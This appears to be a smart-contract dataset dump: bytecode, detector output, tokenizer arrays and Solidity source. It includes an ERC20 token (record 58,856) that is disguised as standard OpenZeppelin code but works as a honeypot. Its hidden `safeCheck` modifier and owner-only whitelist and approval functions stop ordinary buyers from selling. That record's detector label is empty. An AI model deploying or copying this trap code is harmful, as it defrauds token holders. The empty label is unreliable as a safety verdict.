7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001546001600160a01b0383811691161415610ae9576001600160a01b03831660009081526003602052604090205460ff16610ae957600080fd5b6001600160a01b03831660009081526004602052604090205481811015610b785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038e565b610b828282610efa565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610bb8908490610f11565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0491815260200190565b60405180910390a350505050565b600080610c1f8385610f11565b905083811015610c715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b9392505050565b600060208083528351808285015260005b81811015610ca557858101830151858201604001528201610c89565b81811115610cb7576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610ce457600080fd5b919050565b60008060408385031215610cfc57600080fd5b610d0583610ccd565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610d3c57600080fd5b823567ffffffffffffffff80821115610d5457600080fd5b818501915085601f830112610d6857600080fd5b813581811115610d7a57610d7a610d13565b8060051b604051601f19603f83011681018181108582111715610d9f57610d9f610d13565b604052918252848201925083810185019188831115610dbd57600080fd5b938501935b82851015610de257610dd385610ccd565b84529385019392850192610dc2565b98975050505050505050565b600060208284031215610e0057600080fd5b610c7182610ccd565b600080600060608486031215610e1e57600080fd5b610e2784610ccd565b9250610e3560208501610ccd565b9150604084013590509250925092565b60008060408385031215610e5857600080fd5b610e6183610ccd565b9150610e6f60208401610ccd565b90509250929050565b600181811c90821680610e8c57607f821691505b60208210811415610ead57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610ef357610ef3610ec9565b5060010190565b600082821015610f0c57610f0c610ec9565b500390565b60008219821115610f2457610f24610ec9565b50019056fea264697066735822122040ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 24434, 2581, 17465, 23632, 2094, 22407, 2692, 2094, 2575, 2278, 2509, 2497, 2094, 27814, 12740, 2683, 2683, 2581, 2050, 2620, 2620, 2509, 2546, 20958, 2683, 17788, 2509, 4215, 1013, 1008, 7929, 10631, 1011, 1999, 2226, 1012, 5658, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,855
0x95d388bf8bf6cf049957e2a29b31fbd54a46d728
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //Alphr function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e7d4559cea4dfd0c537bb8a3ae0f2491809c15f71eb2562d7e4620405267a46464736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2094, 22025, 2620, 29292, 2620, 29292, 2575, 2278, 2546, 2692, 26224, 2683, 28311, 2063, 2475, 2050, 24594, 2497, 21486, 26337, 2094, 27009, 2050, 21472, 2094, 2581, 22407, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,856
0x95d44fec26e1de02228f532bb535a5676b29aec4
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: 